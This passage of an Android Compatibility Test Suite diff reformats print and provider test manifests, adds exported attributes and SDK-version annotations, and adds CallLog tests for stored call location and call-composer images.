+                 android:resource="@xml/printservice">
             </meta-data>
         </service>
 
-        <service
-            android:name="android.print.test.services.SecondPrintService"
-            android:permission="android.permission.BIND_PRINT_SERVICE">
+        <service android:name="android.print.test.services.SecondPrintService"
+             android:permission="android.permission.BIND_PRINT_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.printservice.PrintService" />
+                <action android:name="android.printservice.PrintService"/>
             </intent-filter>
-            <meta-data
-               android:name="android.printservice"
-               android:resource="@xml/printservice">
+            <meta-data android:name="android.printservice"
+                 android:resource="@xml/printservice">
             </meta-data>
         </service>
 
-        <activity
-            android:name="android.print.test.services.SettingsActivity"
-            android:theme="@style/NoAnimation"
-            android:exported="true">
+        <activity android:name="android.print.test.services.SettingsActivity"
+             android:theme="@style/NoAnimation"
+             android:exported="true">
         </activity>
 
-        <activity
-            android:name="android.print.test.services.AddPrintersActivity"
-            android:theme="@style/NoAnimation"
-            android:exported="true">
+        <activity android:name="android.print.test.services.AddPrintersActivity"
+             android:theme="@style/NoAnimation"
+             android:exported="true">
         </activity>
 
-        <activity
-            android:name="android.print.test.services.InfoActivity"
-            android:theme="@style/NoAnimation"
-            android:exported="true">
+        <activity android:name="android.print.test.services.InfoActivity"
+             android:theme="@style/NoAnimation"
+             android:exported="true">
         </activity>
 
-        <activity
-            android:name="android.print.test.services.CustomPrintOptionsActivity"
-            android:permission="android.permission.START_PRINT_SERVICE_CONFIG_ACTIVITY"
-            android:exported="true"
-            android:theme="@style/NoAnimationTranslucent">
+        <activity android:name="android.print.test.services.CustomPrintOptionsActivity"
+             android:permission="android.permission.START_PRINT_SERVICE_CONFIG_ACTIVITY"
+             android:exported="true"
+             android:theme="@style/NoAnimationTranslucent">
         </activity>
 
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-          android:targetPackage="android.print.cts"
-          android:label="Tests for the print APIs."/>
+       android:targetPackage="android.print.cts"
+       android:label="Tests for the print APIs."/>
 
 </manifest>
diff --git a/tests/tests/print/ExternalPrintService/Android.bp b/tests/tests/print/ExternalPrintService/Android.bp
index 26d7441..8beddd5 100644
--- a/tests/tests/print/ExternalPrintService/Android.bp
+++ b/tests/tests/print/ExternalPrintService/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsExternalPrintService",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/print/ExternalPrintService/AndroidManifest.xml b/tests/tests/print/ExternalPrintService/AndroidManifest.xml
index ff480c1..15100f0 100644
--- a/tests/tests/print/ExternalPrintService/AndroidManifest.xml
+++ b/tests/tests/print/ExternalPrintService/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
   Copyright (C) 2018 The Android Open Source Project
 
@@ -15,19 +16,18 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.print.cts.externalservice" >
+     package="android.print.cts.externalservice">
 
-    <application android:allowBackup="false" >
-        <service
-            android:name=".ExternalService"
-            android:permission="android.permission.BIND_PRINT_SERVICE">
+    <application android:allowBackup="false">
+        <service android:name=".ExternalService"
+             android:permission="android.permission.BIND_PRINT_SERVICE"
+             android:exported="true">
           <intent-filter>
-              <action android:name="android.printservice.PrintService" />
+              <action android:name="android.printservice.PrintService"/>
           </intent-filter>
 
-          <meta-data
-              android:name="android.printservice"
-              android:resource="@xml/printservice">
+          <meta-data android:name="android.printservice"
+               android:resource="@xml/printservice">
           </meta-data>
         </service>
     </application>
diff --git a/tests/tests/print/TEST_MAPPING b/tests/tests/print/TEST_MAPPING
new file mode 100644
index 0000000..325edcd
--- /dev/null
+++ b/tests/tests/print/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsPrintTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/print/printTestUtilLib/Android.bp b/tests/tests/print/printTestUtilLib/Android.bp
index 9abb4ee..c277017 100644
--- a/tests/tests/print/printTestUtilLib/Android.bp
+++ b/tests/tests/print/printTestUtilLib/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "print-test-util-lib",
 
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index 20a4a6f..bc11b82 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -120,7 +120,7 @@
 
                 PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(),
                         0,
-                        infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                        infoIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
                 sPrinter = new PrinterInfo.Builder(printerId, printerName,
                         PrinterInfo.STATUS_IDLE)
@@ -591,7 +591,7 @@
                     infoIntent.putExtra("PRINTER_NAME", "Printer2");
 
                     PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(), 0,
-                            infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                            infoIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
                     PrinterInfo printer2 = new PrinterInfo.Builder(printer2Id, "Printer2",
                             PrinterInfo.STATUS_IDLE)
diff --git a/tests/tests/proto/Android.bp b/tests/tests/proto/Android.bp
index 29c3e5c..88dd506 100644
--- a/tests/tests/proto/Android.bp
+++ b/tests/tests/proto/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsProtoTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index bd78b24..6fb6d09 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -1,8 +1,4 @@
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsProviderTestCases",
     defaults: ["cts_defaults"],
@@ -23,6 +19,7 @@
     ],
 
     static_libs: [
+        "androidx.test.core",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "junit",
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index a4f55b3..edc6310 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -16,117 +16,120 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.provider.cts">
+     package="android.provider.cts">
 
-    <uses-sdk android:targetSdkVersion="28" />
+    <uses-sdk android:targetSdkVersion="28"/>
 
     <!-- This is required for android.provider.cts.media.MediaStore_MetadataKeysTest
-    when upgrading targetSdkVersion to R+
+            when upgrading targetSdkVersion to R+
     <queries>
         <intent>
-            <action android:name="android.provider.action.REVIEW" />
+            <action android:name="android.provider.action.REVIEW"
+                 />
         </intent>
     </queries> -->
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.USE_CREDENTIALS" />
-    <uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
-    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
-    <uses-permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL" />
-    <uses-permission android:name="com.android.voicemail.permission.READ_VOICEMAIL" />
-    <uses-permission android:name="android.permission.WRITE_CALL_LOG" />
-    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
-    <uses-permission android:name="android.permission.READ_CALL_LOG" />
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.WRITE_SMS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.USE_CREDENTIALS"/>
+    <uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
+    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"/>
+    <uses-permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL"/>
+    <uses-permission android:name="com.android.voicemail.permission.READ_VOICEMAIL"/>
+    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
 
     <application>
         <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.provider.cts.BrowserStubActivity"
-            android:label="BrowserStubActivity">
+             android:label="BrowserStubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <service android:name=".MockInputMethodService"
-                 android:label="UserDictionaryInputMethodTestService"
-                 android:permission="android.permission.BIND_INPUT_METHOD">
+             android:label="UserDictionaryInputMethodTestService"
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.view.InputMethod" />
+                <action android:name="android.view.InputMethod"/>
             </intent-filter>
             <meta-data android:name="android.view.im"
-                       android:resource="@xml/method" />
+                 android:resource="@xml/method"/>
         </service>
 
         <provider android:name="android.provider.cts.MockFontProvider"
-                  android:authorities="android.provider.fonts.cts.font"
-                  android:exported="false"
-                  android:multiprocess="true" />
+             android:authorities="android.provider.fonts.cts.font"
+             android:exported="false"
+             android:multiprocess="true"/>
 
         <provider android:name="android.provider.cts.TestSRSProvider"
-                  android:authorities="android.provider.cts.TestSRSProvider"
-                  android:exported="false" />
+             android:authorities="android.provider.cts.TestSRSProvider"
+             android:exported="false"/>
 
-        <service
-            android:name="android.provider.cts.contacts.StubInCallService"
-            android:permission="android.permission.BIND_INCALL_SERVICE">
+        <service android:name="android.provider.cts.contacts.StubInCallService"
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
-            <meta-data
-                android:name="android.telecom.IN_CALL_SERVICE_UI"
-                android:value="true"/>
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI"
+                 android:value="true"/>
         </service>
 
-        <activity android:name="android.provider.cts.contacts.StubDialerActivity">
+        <activity android:name="android.provider.cts.contacts.StubDialerActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:mimeType="vnd.android.cursor.item/phone" />
-                <data android:mimeType="vnd.android.cursor.item/person" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:mimeType="vnd.android.cursor.item/phone"/>
+                <data android:mimeType="vnd.android.cursor.item/person"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="voicemail" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="voicemail"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="tel" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="tel"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.provider.cts"
-                     android:label="CTS tests of android.provider">
+         android:targetPackage="android.provider.cts"
+         android:label="CTS tests of android.provider">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/provider/app/GalleryTestApp/Android.bp b/tests/tests/provider/app/GalleryTestApp/Android.bp
index ef430de..5da74ce 100644
--- a/tests/tests/provider/app/GalleryTestApp/Android.bp
+++ b/tests/tests/provider/app/GalleryTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsProviderGalleryTestApp",
 
@@ -29,4 +25,5 @@
     optimize: {
         enabled: false,
     },
+    min_sdk_version : "29",
 }
diff --git a/tests/tests/provider/app/GalleryTestApp/AndroidManifest.xml b/tests/tests/provider/app/GalleryTestApp/AndroidManifest.xml
index 24eb5e0..13b423d 100644
--- a/tests/tests/provider/app/GalleryTestApp/AndroidManifest.xml
+++ b/tests/tests/provider/app/GalleryTestApp/AndroidManifest.xml
@@ -15,18 +15,19 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.provider.apps.cts.gallerytestapp">
+     package="android.provider.apps.cts.gallerytestapp">
 
     <application>
         <service android:name=".ReviewPrewarmService"/>
-        <activity android:name=".ReviewActivity">
+        <activity android:name=".ReviewActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.action.REVIEW" />
-                <data android:scheme="content" />
+                <action android:name="android.provider.action.REVIEW"/>
+                <data android:scheme="content"/>
             </intent-filter>
             <meta-data android:name="android.media.review_gallery_prewarm_service"
-                       android:value="android.provider.apps.cts.gallerytestapp.ReviewPrewarmService"/>
+                 android:value="android.provider.apps.cts.gallerytestapp.ReviewPrewarmService"/>
         </activity>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/tests/provider/preconditions/Android.bp b/tests/tests/provider/preconditions/Android.bp
index 289aab5..0e3d6e8 100644
--- a/tests/tests/provider/preconditions/Android.bp
+++ b/tests/tests/provider/preconditions/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_helper_library {
     name: "compatibility-host-provider-preconditions",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/provider/preconditions/src/android/provider/cts/preconditions/ExternalStoragePreparer.java b/tests/tests/provider/preconditions/src/android/provider/cts/preconditions/ExternalStoragePreparer.java
index 613d012..a895d13 100644
--- a/tests/tests/provider/preconditions/src/android/provider/cts/preconditions/ExternalStoragePreparer.java
+++ b/tests/tests/provider/preconditions/src/android/provider/cts/preconditions/ExternalStoragePreparer.java
@@ -34,7 +34,6 @@
     public void setUp(ITestDevice device, IBuildInfo buildInfo)
             throws TargetSetupError, BuildError, DeviceNotAvailableException {
         if (!ENABLED) return;
-        if (!hasIsolatedStorage(device)) return;
 
         device.executeShellCommand("sm set-virtual-disk false");
         device.executeShellCommand("sm set-virtual-disk true");
@@ -48,16 +47,10 @@
     public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable throwable)
             throws DeviceNotAvailableException {
         if (!ENABLED) return;
-        if (!hasIsolatedStorage(device)) return;
 
         device.executeShellCommand("sm set-virtual-disk false");
     }
 
-    private boolean hasIsolatedStorage(ITestDevice device) throws DeviceNotAvailableException {
-        return device.executeShellCommand("getprop sys.isolated_storage_snapshot")
-                .contains("true");
-    }
-
     private String getVirtualDisk(ITestDevice device) throws DeviceNotAvailableException {
         int attempt = 0;
         String disks = device.executeShellCommand("sm list-disks");
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index e24c3e1..4d5849a 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -406,7 +406,11 @@
 
     public static void assertExists(String msg, String path) throws IOException {
         if (!access(path)) {
-            fail(msg);
+            if (msg != null) {
+                fail(path + ": " + msg);
+            } else {
+                fail("File " + path + " does not exist");
+            }
         }
     }
 
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
index be71f6a..bded796 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
@@ -16,11 +16,34 @@
 
 package android.provider.cts.contacts;
 
+import static org.junit.Assert.assertArrayEquals;
+
+import android.Manifest;
+import android.app.ActivityManager;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.OutcomeReceiver;
+import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
 import android.provider.CallLog;
+import android.provider.cts.R;
 import android.test.InstrumentationTestCase;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.ShellUtils;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
 
 public class CallLogTest extends InstrumentationTestCase {
 
@@ -75,6 +98,113 @@
         );
     }
 
+    public void testLocationStorageAndRetrieval() {
+        Context context = getInstrumentation().getContext();
+        UserHandle currentUser = UserHandle.of(
+                ShellIdentityUtils.invokeStaticMethodWithShellPermissions(
+                        () -> ActivityManager.getCurrentUser()));
+        CallLog.AddCallParams.AddCallParametersBuilder builder =
+                new CallLog.AddCallParams.AddCallParametersBuilder();
+        builder.setAddForAllUsers(false);
+        builder.setUserToBeInsertedTo(currentUser);
+        // Some random spot in the North Atlantic
+        double lat = 24.877323;
+        double lon = -68.952545;
+        builder.setLatitude(lat);
+        builder.setLongitude(lon);
+        ShellUtils.runShellCommand("telecom set-default-dialer %s",
+                getInstrumentation().getContext().getPackageName());
+
+        try {
+            Uri uri;
+            getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity(Manifest.permission.INTERACT_ACROSS_USERS,
+                            Manifest.permission.READ_VOICEMAIL);
+            try {
+                uri = CallLog.Calls.addCall(context, builder.build());
+            } finally {
+                getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+            }
+            assertNotNull(uri);
+
+            Cursor cursor = context.getContentResolver().query(
+                    uri, new String[]{CallLog.Calls.LOCATION}, null, null);
+            assertEquals(1, cursor.getCount());
+            cursor.moveToFirst();
+            String locationUriString = cursor.getString(
+                    cursor.getColumnIndex(CallLog.Calls.LOCATION));
+            assertNotNull(locationUriString);
+
+            Uri locationUri = Uri.parse(locationUriString);
+            Cursor locationCursor = context.getContentResolver().query(locationUri,
+                    new String[]{CallLog.Locations.LATITUDE, CallLog.Locations.LONGITUDE}, null,
+                    null);
+            assertEquals(1, locationCursor.getCount());
+            locationCursor.moveToFirst();
+            double storedLat = locationCursor.getDouble(
+                    locationCursor.getColumnIndex(CallLog.Locations.LATITUDE));
+            double storedLon = locationCursor.getDouble(
+                    locationCursor.getColumnIndex(CallLog.Locations.LONGITUDE));
+            assertEquals(lat, storedLat);
+            assertEquals(lon, storedLon);
+        } finally {
+            ShellUtils.runShellCommand("telecom set-default-dialer default");
+        }
+    }
+
+    public void testCallComposerImageStorage() throws Exception {
+        Context context = getInstrumentation().getContext();
+        byte[] expected = readResourceDrawable(context, R.drawable.testimage);
+
+        CompletableFuture<Pair<Uri, CallLog.CallComposerLoggingException>> resultFuture =
+                new CompletableFuture<>();
+        Pair<Uri, CallLog.CallComposerLoggingException> result;
+        try (InputStream inputStream =
+                     context.getResources().openRawResource(R.drawable.testimage)) {
+            CallLog.storeCallComposerPictureAsUser(context, android.os.Process.myUserHandle(),
+                    inputStream,
+                    Executors.newSingleThreadExecutor(),
+                    new OutcomeReceiver<Uri, CallLog.CallComposerLoggingException>() {
+                        @Override
+                        public void onResult(@NonNull Uri result) {
+                            resultFuture.complete(Pair.create(result, null));
+                        }
+
+                        @Override
+                        public void onError(CallLog.CallComposerLoggingException error) {
+                            resultFuture.complete(Pair.create(null, error));
+                        }
+                    });
+           result = resultFuture.get(CONTENT_RESOLVER_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+        if (result.second != null) {
+            fail("Got error " + result.second.getErrorCode() + " when storing image");
+        }
+        Uri imageLocation = result.first;
+
+        try (ParcelFileDescriptor pfd =
+                context.getContentResolver().openFileDescriptor(imageLocation, "r")) {
+            byte[] remoteBytes = readBytes(new FileInputStream(pfd.getFileDescriptor()));
+            assertArrayEquals(expected, remoteBytes);
+        }
+    }
+
+    private byte[] readResourceDrawable(Context context, int id) throws Exception {
+        InputStream inputStream = context.getResources().openRawResource(id);
+        return readBytes(inputStream);
+    }
+
+    private byte[] readBytes(InputStream inputStream) throws Exception {
+        byte[] buffer = new byte[1024];
+        ByteArrayOutputStream output = new ByteArrayOutputStream();
+        int numRead;
+        do {
+            numRead = inputStream.read(buffer);
+            if (numRead > 0) output.write(buffer, 0, numRead);
+        } while (numRead > 0);
+        return output.toByteArray();
+    }
+
     private void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
             String description) {
         final long start = System.currentTimeMillis();
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
index 471f85a..602c05c 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
@@ -19,10 +19,12 @@
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Audio.Media;
 import android.provider.cts.ProviderTestUtils;
 
+import androidx.test.filters.SdkSuppress;
 import androidx.test.runner.AndroidJUnit4;
 
 import junit.framework.Assert;
@@ -53,6 +55,7 @@
  * @see MediaStore_Audio_Artists_AlbumsTest
  * @see MediaStore_Audio_AlbumsTest
  */
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(AndroidJUnit4.class)
 public class MediaStoreAudioTestHelper {
     public static abstract class MockAudioMediaInfo {
@@ -88,6 +91,7 @@
         public static final int IS_RINGTONE = 0;
         public static final int IS_NOTIFICATION = 0;
         public static final int IS_ALARM = 0;
+        public static final int IS_RECORDING = 0;
         public static final int IS_MUSIC = 1;
         public static final int YEAR = 1992;
         public static final int TRACK = 1;
@@ -131,6 +135,7 @@
             values.put(Media.IS_MUSIC, IS_MUSIC);
             values.put(Media.IS_ALARM, IS_ALARM);
             values.put(Media.IS_NOTIFICATION, IS_NOTIFICATION);
+            values.put(Media.IS_RECORDING, IS_RECORDING);
             values.put(Media.IS_RINGTONE, IS_RINGTONE);
             return values;
         }
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java
index d5442e0..451b1bf 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java
@@ -24,11 +24,13 @@
 import android.content.Intent;
 import android.content.pm.ResolveInfo;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.cts.ProviderTestUtils;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -43,6 +45,7 @@
  * Tests to verify that common actions on {@link MediaStore} content are
  * available.
  */
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStoreIntentsTest {
     private Uri mExternalAudio;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreMatchTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreMatchTest.java
index 49e6150..73f42c2 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreMatchTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreMatchTest.java
@@ -27,6 +27,7 @@
 import android.content.ContentValues;
 import android.content.Context;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Bundle;
 import android.provider.MediaStore;
 import android.provider.MediaStore.MediaColumns;
@@ -35,6 +36,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -43,6 +45,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStoreMatchTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
index 797fd14..04d49a9 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
@@ -25,6 +25,7 @@
 import android.database.ContentObserver;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.provider.MediaStore;
@@ -32,6 +33,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Ignore;
@@ -44,6 +46,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStoreNotificationTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java
index 92c98b9..b77a8e5 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java
@@ -35,6 +35,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.os.FileUtils;
 import android.provider.MediaStore;
@@ -46,6 +47,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import com.google.common.base.Objects;
 
@@ -65,6 +67,7 @@
 import java.util.HashSet;
 import java.util.Set;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStorePendingTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
index 5b4d484..aed220d 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
@@ -26,6 +26,7 @@
 import android.content.ContentValues;
 import android.content.Context;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Environment;
 import android.provider.MediaStore;
@@ -35,6 +36,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Assume;
 import org.junit.Before;
@@ -48,6 +50,7 @@
